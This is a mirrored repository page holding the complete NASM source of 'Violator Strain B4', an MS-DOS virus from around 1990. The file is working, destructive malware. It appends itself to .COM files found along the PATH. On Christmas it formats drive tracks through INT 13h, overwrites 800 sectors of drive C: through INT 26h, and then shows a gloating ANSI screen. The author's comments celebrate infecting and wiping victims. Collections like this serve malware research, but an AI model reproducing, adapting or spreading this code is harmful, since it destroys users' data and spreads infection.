13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-27 09:28:25 +00:00
vxug-MalwareSourceCode/MSDOS/V-Index/Virus.MSDOS.Unknown.v_violb4.asm
vxunderground 4b9382ddbc re-organize
push
2022-08-21 04:07:57 -05:00

691 lines
31 KiB
NASM
Raw Permalink Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

;*****************************************************************************
; Violator Strain B4
;*****************************************************************************
;
; Notes: (Nov.26.9O)
; ------------------
;
; "Happy Holiday's Guys!!!"
;
; Haha! I just got off the line with Flash Force. We decided to make
; a Violator Strain B4 which will have a nice little ANSI Christmas tree
; with RABID's seasons greetings. So the file will be huge! But who cares.
; People won't notice an infection until it's too late due to the short life
; of this virus.
;
; New editions to this virus are a counter that keeps track of how many philes
; it has infected (Where it is in the program, I have no idea!!!), and a
; nice ANSI screen.
;
; I also fixed that stupid re-infection bug in B3... Bah! To err is human...
;
;*****************************************************************************
;
; Written by The High Evolutionary
;
; Copyright (c) 199O by The RABID Nat'nl Development Corp.
;
;*****************************************************************************
CODE SEGMENT
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG $+0100H
VCODE: JMP virus
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
v_start equ $
virus: PUSH CX
MOV DX,OFFSET vir_dat ;This is where the virus data starts.
CLD
MOV SI,DX
ADD SI,first_3
MOV DI,OFFSET 100H
MOV CX,3
REPZ MOVSB
MOV SI,DX
MOV AH,30H
MOV marker,1
CALL filter
CMP AL,0
JNZ year_check
JMP quit
filter: CMP marker,1
JE int_21
CMP marker,2
JE int_13
CMP marker,3
JE int_26
RET
int_21: INT 21H
RET
int_13: INT 13h
RET
int_26: INT 26h
RET
year_check:
MOV AH,2AH ; Get date info
MOV marker,1 ; Set function for INT 21
CALL filter ; Call the filter routine
CMP CX,1990 ; Check if it's 1990
JGE month_check ; Yes? Check the month
JMP infect ; No? Go to infection routine
month_check:
CMP DH,month ; Check if it's December
JGE day_check ; Yeah? Check the day
JMP infect ; No? Infect a phile
day_check:
CMP DL,day ; Check if it's Christmas
JGE kill_13 ; Yeah? Kill all drives
JMP infect ; No? Infect a poor guy!
kill_13:
MOV AL,counter ; Move drive into AL
CALL ala_13 ; Kill the drive
CMP counter,27 ; Check to see if it's drive Z:
JE re_format ; Yes! Then go to re_format
INC counter ; Increase the counter
LOOP kill_13 ; Jump up and fry the next one
ala_13: MOV CH,0 ; Set to track 0
MOV DL,counter ; Set drive to counter
MOV AH,05h ; Set function for formatting
MOV DH,0 ; Format Head 0
MOV marker,2 ; Set for INT_13 call
CALL filter ; Call the filter routine
RET ; Return from call
;
; I changed this routine, becuase in the original Violator, I rewrote the
; data segment by calling it for the INT 26. All I did this time, was just
; set BX to be an offset of my INTRO var. That way, when Drive C is formatted,
; the Violator identifier string will be written everywhere... Kinda neat!
;
re_format:
MOV BP,OFFSET ansi ; Offset of ANSI screen
MOV CX,2000 ; Set for 2000 bytes
MOV AH,13h ; Set function for write to screen
MOV AL,3 ; Set all attributes to be written
MOV BH,0 ;
MOV BL,0 ;
MOV DH,0 ; Row 0
MOV DL,0 ; Column 0
INT 10h ; Display it to screen
PUSHF ; Push Flags onto stack 'cause INT
; 26 kill the flag status
MOV BX,OFFSET intro ; Add a message on the fried drive!
MOV DX,00 ; Set for sector 0
MOV CX,800 ; Write 800 sectors
MOV AL,2 ; Make it drive C:
MOV marker,3 ; Set up for INT 26 call
CALL filter ; Call filter for INT 26
POPF ; Restore the flags we pushed
infect: PUSH ES
MOV AH,2FH
MOV marker,1
CALL filter
MOV [SI+old_dta],BX
MOV [SI+old_dts],ES
POP ES
MOV DX,dta
ADD DX,SI
MOV AH,1AH
CALL filter
PUSH ES
PUSH SI
MOV ES,DS:2CH
MOV DI,0
find_path:
POP SI
PUSH SI
ADD SI,env_str ;Point to "PATH=" string in data area
LODSB
MOV CX,OFFSET 8000H
REPNZ SCASB
MOV CX,4
check_next_4:
LODSB
SCASB
JNZ find_path
LOOP check_next_4
POP SI
POP ES
MOV [SI+path_ad],DI
MOV DI,SI
ADD DI,wrk_spc
MOV BX,SI
ADD SI,wrk_spc
MOV DI,SI
JMP SHORT slash_ok
set_subdir:
CMP WORD PTR [SI+path_ad],0
JNZ found_subdir
JMP all_done
found_subdir:
PUSH DS
PUSH SI
MOV DS,ES:2CH ;DS points to environment segment
MOV DI,SI
MOV SI,ES:[DI+path_ad] ;SI = PATH address
ADD DI,wrk_spc ;DI points to file name workspace
move_subdir:
LODSB ;Get character
CMP AL,';' ;Is it a ';' delimiter?
JZ moved_one ;Yes, found another subdirectory
CMP AL,0 ;End of PATH string?
JZ moved_last_one ;Yes
STOSB ;Save PATH marker into [DI]
JMP SHORT move_subdir
moved_last_one:
MOV SI,0
moved_one:
POP BX ;Pointer to virus data area
POP DS ;Restore DS
MOV [BX+path_ad],SI ;Address of next subdirectory
NOP
CMP CH,'\' ;Ends with "\"?
JZ slash_ok ;If yes
MOV AL,'\' ;Add one, if not
STOSB
slash_ok:
MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace
MOV SI,BX ;Restore SI
ADD SI,f_spec ;Point to "*.COM"
MOV CX,6
REPZ MOVSB ;Move "*.COM",0 to workspace
MOV SI,BX
MOV AH,4EH
MOV DX,wrk_spc
ADD DX,SI ;DX points to "*.COM" in workspace
MOV CX,3 ;Attributes of Read Only or Hidden
CALL filter
JMP SHORT find_first
find_next:
MOV AH,4FH
CALL filter
find_first:
JNB found_file ;Jump if we found it
JMP SHORT set_subdir ;Otherwise, get another subdirectory
found_file:
MOV AX,[SI+dta_tim] ;Get time from DTA
AND AL,1CH
CMP AL,1CH
JZ find_next ;If so, go find another file
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H
;
;Is the file too long?
;
JA find_next ;If too long, find another one
CMP WORD PTR [SI+dta_len],0AH
;
;Is it too short?
;
JB find_next ;Then go find another one
MOV DI,[SI+nam_ptr] ;DI points to file name
PUSH SI ;Save SI
ADD SI,dta_nam ;Point SI to file name
more_chars:
LODSB
STOSB
CMP AL,0
JNZ more_chars ;Move characters until we find a 00
POP SI
MOV AX,OFFSET 4300H
MOV DX,wrk_spc ;Point to \path\name in workspace
ADD DX,SI
CALL filter
MOV [SI+old_att],CX ;Save the old attributes
MOV AX,OFFSET 4301H ;Set attributes
AND CX,OFFSET 0FFFEH
MOV DX,wrk_spc ;Offset of \path\name in workspace
ADD DX,SI ;Point to \path\name
CALL filter
MOV AX,OFFSET 3D02H ;Read/Write
MOV DX,wrk_spc ;Offset to \path\name in workspace
ADD DX,SI ;Point to \path\name
CALL filter
JNB opened_ok ;If file was opened OK
JMP fix_attr ;If it failed, restore the attributes
opened_ok:
INC times ; Add one to the times counter so
; that we can keep track off how many
; files we have infected...
MOV BX,AX
MOV AX,OFFSET 5700H
CALL filter
MOV [SI+old_tim],CX ;Save file time
MOV [SI+ol_date],DX ;Save the date
MOV AH,2CH
CALL filter
MOV AH,3FH
MOV CX,3
MOV DX,first_3
ADD DX,SI
CALL filter
JB fix_time_stamp ;Quit, if read failed
CMP AX,3 ;Were we able to read all 3 bytes?
JNZ fix_time_stamp ;Quit, if not
MOV AX,OFFSET 4202H
MOV CX,0
MOV DX,0
CALL filter
JB fix_time_stamp ;Quit, if it didn't work
MOV CX,AX ;DX:AX (long int) = file size
SUB AX,3 ;Subtract 3 (DX must be 0, here)
MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP inst
ADD CX,OFFSET c_len_y
MOV DI,SI ;Point DI to virus data area
SUB DI,OFFSET c_len_x
MOV [DI],CX
MOV AH,40H
MOV CX,virlen ;Length of virus, in bytes
MOV DX,SI
SUB DX,OFFSET codelen ;Length of virus code, gives starting
;address of virus code in memory
CALL filter
JB fix_time_stamp ;Jump if error
CMP AX,OFFSET virlen ;All bytes written?
JNZ fix_time_stamp ;Jump if error
MOV AX,OFFSET 4200H
MOV CX,0
MOV DX,0
CALL filter
JB fix_time_stamp ;Jump if error
MOV AH,40H
MOV CX,3
MOV DX,SI ;Virus data area
ADD DX,jmp_op ;Point to the reconstructed JMP
CALL filter
fix_time_stamp:
MOV DX,[SI+ol_date] ;Old file date
MOV CX,[SI+old_tim] ;Old file time
AND CX,OFFSET 0FFE0H
OR CX,1CH ;Make timestamp with the infected
;seconds!!!
MOV AX,OFFSET 5701H
CALL filter
MOV AH,3EH
CALL filter
fix_attr:
MOV AX,OFFSET 4301H
MOV CX,[SI+old_att] ;Old Attributes
MOV DX,wrk_spc
ADD DX,SI ;DX points to \path\name in workspace
CALL filter
all_done:
PUSH DS
MOV AH,1AH
MOV DX,[SI+old_dta]
MOV DS,[SI+old_dts]
CALL filter
POP DS
;*************************************************************************
; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
; in since the address in a real JMP 100 is an offset, and the offset
; varies from one infected file to the next. By PUSHing an 0100H onto the
; stack, we can RET to address 0100H just as though we JMPed there.
;**********************************************************************
quit:
POP CX
XOR AX,AX
XOR BX,BX
XOR DX,DX
XOR SI,SI
MOV DI,OFFSET 0100H
PUSH DI
XOR DI,DI
RET 0FFFFH
vir_dat EQU $
month db 12 ;Set month to December
day db 25 ;Set day to Christmas
intro db 13,10
DB 'Violator Strain B4 - Written by The RABID Nat''nl Development Corp.',13,10
DB ' RABID would like to take this opportunity to extend it''s sincerest',13,10
db ' holiday wishes to all Pir8 lamers around the world! If you are',13,10
db ' reading this, then you are lame!!!',13,10
db ' Anyway, to John McAffe! Have a Merry Christmas and a virus filled',13,10
db ' new year. Go ahead! Make our day!',13,10,13,10
db ' Remember! In the festive season, Say NO to drugs!!! They suck shit!',13,10
db '(Bah! We make a virus this large, might as well have something positive!)',13,10
marker DB 0 ;Marker for INT purposes
counter DB 2 ;Counter for drives
times DB 0
ansi DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,'T',15,'H',15,'E',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,'<27>',9,'<27>',9,'<27>',9,'<27>',9,'<27>'
DB 9,'<27>',9,'<27>',9,'<27>',9,'<27>',9,'<27>',9,'<27>',9,'<27>',9,'<27>',15,'<27>'
DB 15,'<27>',15,'<27>',15,'<27>',15,'<27>',15,'<27>',15,'<27>',15,'<27>',15,'<27>'
DB 15,'<27>',9,'<27>',9,'<27>',9,'<27>',9,'<27>',9,'<27>',9,'<27>',9,'<27>',9,'<27>'
DB 9,'<27>',12,'<27>',12,'<27>',12,'<27>',12,'<27>',12,'<27>',12,'<27>',12,'<27>'
DB 12,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,'<27>',9,' ',9,' ',9,' ',9,'<27>',9,'<27>',9,'<27>',9,' '
DB 9,' ',9,'<27>',9,'<27>',9,' ',9,' ',9,'<27>',15,'<27>',15,' ',15,' '
DB 15,'<27>',15,'<27>',15,' ',15,' ',15,' ',15,'<27>',9,'<27>',9,' '
DB 9,' ',9,'<27>',9,'<27>',9,' ',9,' ',9,'<27>',9,'<27>',12,' ',12,' '
DB 12,' ',12,'<27>',12,'<27>',12,' ',12,'<27>',12,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'<27>',9,' '
DB 9,' ',9,' ',9,'<27>',9,' ',9,'<27>',9,' ',9,' ',9,'<27>',9,'<27>'
DB 15,' ',15,' ',15,'<27>',15,'<27>',15,' ',15,' ',15,'<27>',15,'<27>'
DB 15,' ',15,' ',15,' ',15,'<27>',9,'<27>',9,' ',9,' ',9,'<27>',9
DB '<27>',9,' ',9,' ',9,'<27>',12,'<27>',12,' ',12,' ',12,' ',12,'<27>'
DB 12,'<27>',12,' ',12,'<27>',9,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,'<27>',9,' ',9,' ',9,' ',9
DB '<27>',9,'<27>',9,'<27>',9,' ',9,' ',9,'<27>',15,'<27>',15,' ',15,' '
DB 15,'<27>',15,'<27>',15,' ',15,' ',15,'<27>',15,'<27>',15,' ',15,' '
DB 15,' ',15,'<27>',9,'<27>',9,' ',9,'<27>',9,'<27>',9,'<27>',9,' ',9,' '
DB 9,'<27>',12,'<27>',12,' ',12,' ',12,' ',12,'<27>',12,'<27>',12,' '
DB 12,'<27>',9,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,'<27>',1,' ',1,' ',1,'<27>',1,'<27>',1,'<27>',1,' '
DB 1,' ',1,'<27>',15,'<27>',15,'<27>',15,' ',15,' ',15,'<27>',15,'<27>'
DB 15,' ',15,' ',15,'<27>',15,'<27>',15,' ',15,' ',15,' ',15,'<27>'
DB 1,'<27>',1,' ',1,'<27>',1,'<27>',1,'<27>',12,' ',12,' ',12,'<27>',12
DB '<27>',12,' ',12,' ',12,' ',12,'<27>',12,'<27>',1,' ',1,'<27>',1,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,'<27>',1,' ',1,' ',1,'<27>',1,' ',1,'<27>',1,'<27>',1,' ',1,'<27>'
DB 15,'<27>',15,'<27>',15,' ',15,' ',15,'<27>',15,'<27>',15,' ',15,' '
DB 15,'<27>',15,'<27>',15,' ',15,' ',15,' ',15,'<27>',1,'<27>',1,' '
DB 1,' ',1,'<27>',1,'<27>',12,' ',12,' ',12,'<27>',12,'<27>',12,' ',12
DB ' ',12,' ',12,'<27>',1,'<27>',1,' ',1,'<27>',1,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'<27>',1,' '
DB 1,' ',1,'<27>',1,' ',1,' ',1,'<27>',15,' ',15,' ',15,'<27>',15
DB '<27>',15,' ',15,' ',15,'<27>',15,'<27>',15,' ',15,' ',15,'<27>',15
DB '<27>',1,' ',1,' ',1,' ',1,'<27>',1,'<27>',1,' ',1,' ',1,'<27>',12
DB '<27>',12,' ',12,' ',12,'<27>',12,'<27>',12,' ',12,' ',12,' ',12
DB '<27>',1,'<27>',1,' ',1,'<27>',1,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,'<27>',1,'<27>',1,'<27>',1,'<27>',1
DB ' ',1,' ',1,'<27>',15,'<27>',15,'<27>',15,'<27>',15,'<27>',15,'<27>',15
DB '<27>',15,'<27>',15,'<27>',15,'<27>',15,'<27>',15,'<27>',1,'<27>',1,'<27>',1,'<27>'
DB 1,'<27>',1,'<27>',1,'<27>',1,'<27>',1,'<27>',1,'<27>',12,'<27>',12,'<27>',12,'<27>'
DB 12,'<27>',12,'<27>',12,'<27>',12,'<27>',1,'<27>',1,'<27>',1,'<27>',1,'<27>',1
DB '<27>',1,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'N',15,'a',15
DB 't',15,'i',15,'o',15,'n',15,'a',15,'l',15,' ',15,'D',15
DB 'e',15,'v',15,'e',15,'l',15,'o',15,'p',15,'m',15,'e',15
DB 'n',15,'t',15,' ',15,'C',15,'o',15,'r',15,'p',15,'o',15
DB 'r',15,'a',15,'t',15,'i',15,'o',15,'n',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,'.',7,'.',7,'.',7,'w',7,'o',7,'u',7,'l',7,'d',7
DB ' ',7,'l',7,'i',7,'k',7,'e',7,' ',7,'t',7,'o',7,' ',7
DB 't',7,'a',7,'k',7,'e',7,' ',7,'t',7,'h',7,'i',7,'s',7
DB ' ',7,'o',7,'p',7,'p',7,'o',7,'u',7,'r',7,'t',7,'u',7
DB 'n',7,'i',7,'t',7,'y',7,' ',7,'t',7,'o',7,' ',7,'s',7
DB 'p',7,'r',7,'e',7,'a',7,'d',7,' ',7,'i',7,'t',7,39,7,'s'
DB 7,' ',7,'s',7,'i',7,'n',7,'c',7,'e',7,'r',7,'e',7,'s'
DB 7,'t',7,' ',7,'w',7,'i',7,'s',7,'h',7,'e',7,'s',7,' '
DB 7,'o',7,'f',7,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'a',7,' ',7
DB 'v',7,'e',7,'r',7,'y',7,' ',7,'m',7,'e',7,'r',7,'r',7
DB 'y',7,' ',7,'C',7,'h',7,'r',7,'i',7,'s',7,'t',7,'m',7
DB 'a',7,'s',7,' ',7,'S',7,'e',7,'a',7,'s',7,'o',7,'n',7
DB '.',7,' ',7,'H',7,'a',7,'v',7,'e',7,' ',7,'a',7,' ',7
DB 'v',7,'i',7,'r',7,'u',7,'s',7,' ',7,'f',7,'i',7,'l',7
DB 'l',7,'e',7,'d',7,' ',7,'n',7,'e',7,'w',7,' ',7,'y',7
DB 'e',7,'a',7,'r',7,'!',7,'!',7,'!',7,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,'N',132,'O',132
DB 'W',132,' ',132,'F',132,'O',132,'R',132,'M',132,'A',132
DB 'T',132,'T',132,'I',132,'N',132,'G',132,' ',132,'Y',132
DB 'O',132,'U',132,'R',132,' ',132,'H',132,'A',132,'R',132
DB 'D',132,'-',132,'D',132,'R',132,'I',132,'V',132,'E',132
DB '!',132,'!',132,'!',132,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,15,142,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 6,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,'<27>',10,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,'<27>',10,'<27>',10,'<27>',10,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'<27>'
DB 10,'<27>',10,'<27>',10,'<27>',10,'<27>',10,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'<27>',10,'<27>'
DB 10,'<27>',10,'<27>',10,'<27>',10,'<27>',10,'<27>',10,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,'<27>',10,'<27>',10,'<27>'
DB 10,'<27>',10,'<27>',10,'<27>',10,'<27>',10,'<27>',10,'<27>',10,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,'<27>',10,'<27>',10,'<27>',10,'<27>'
DB 10,'<27>',10,'<27>',10,'<27>',10,'<27>',10,'<27>',10,'<27>',10,'<27>',10,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,'<27>',10,'<27>',10,'<27>',10,'<27>',10,'<27>'
DB 10,'<27>',10,'<27>',10,'<27>',10,'<27>',10,'<27>',10,'<27>',10,'<27>',10,'<27>'
DB 10,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
